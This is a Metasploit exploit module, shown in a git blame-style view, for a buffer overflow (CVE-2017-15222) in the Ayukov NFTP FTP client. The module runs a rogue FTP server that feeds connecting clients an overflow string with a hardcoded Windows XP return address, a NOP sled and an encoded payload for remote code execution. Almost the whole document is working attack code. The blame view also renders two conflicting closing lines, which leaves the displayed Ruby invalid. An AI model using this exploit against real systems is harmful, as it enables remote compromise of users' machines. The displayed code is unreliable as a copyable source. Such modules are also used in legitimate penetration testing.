metasploit-framework/modules/exploits/windows/ftp/ayukov_nftp.rb

81 lines
1.9 KiB
Ruby
Raw Normal View History

2017-12-31 15:43:16 +00:00
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::TcpServer
def initialize(info = {})
super(update_info(info,
2017-12-31 17:00:17 +00:00
'Name' => 'Ayukov NFTP FTP Client Remote Buffer Overflow',
2017-12-31 15:43:16 +00:00
'Description' => %q{
This module exploits a buffer overflow in the Ayukov NFTPD FTP client 2.0 and earlier allowing remote code execution.
},
'Author' =>
[
2017-12-31 17:00:17 +00:00
'Berk Cem Goksel', # Original exploit author
2017-12-31 15:43:16 +00:00
'Daniel Teixeira' # MSF module author
],
'License' => MSF_LICENSE,
'References' =>
[
2017-12-31 17:00:17 +00:00
[ 'CVE', '2017-15222'],
2017-12-31 15:43:16 +00:00
[ 'EDB', '43025' ],
],
'Payload' =>
{
'BadChars' => "\x00\x01\x0a\x10",
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows XP Pro SP3 English', { 'Ret' => 0x77f31d2f } ], # GDI32.dll v5.1.2600.5512
],
'Privileged' => false,
'DefaultOptions' =>
{
'SRVHOST' => '0.0.0.0',
},
'DefaultTarget' => 0))
2017-12-31 17:00:17 +00:00
'DisclosureDate' => 'Oct 21 2017'))
2017-12-31 15:43:16 +00:00
register_options(
[
OptPort.new('SRVPORT', [ true, "The FTP port to listen on", 21 ]),
])
end
def on_client_connect(client)
return if ((p = regenerate_payload(client)) == nil)
# Let the client log in
client.get_once
user = "331 OK.\r\n"
client.put(user)
client.get_once
pass = "230 OK.\r\n"
client.put(pass)
sploit = "A"*4116
sploit << [target.ret].pack('V')
sploit << "\x90"*16
sploit << payload.encoded
sploit << make_nops(15000 - 4116 - 4 - 16 - payload.encoded.length)
sploit << "\r\n"
2017-12-31 17:00:17 +00:00
2017-12-31 15:43:16 +00:00
client.put(sploit)
client.get_once
pwd = "257\r\n"
client.put(pwd)
client.get_once
end
end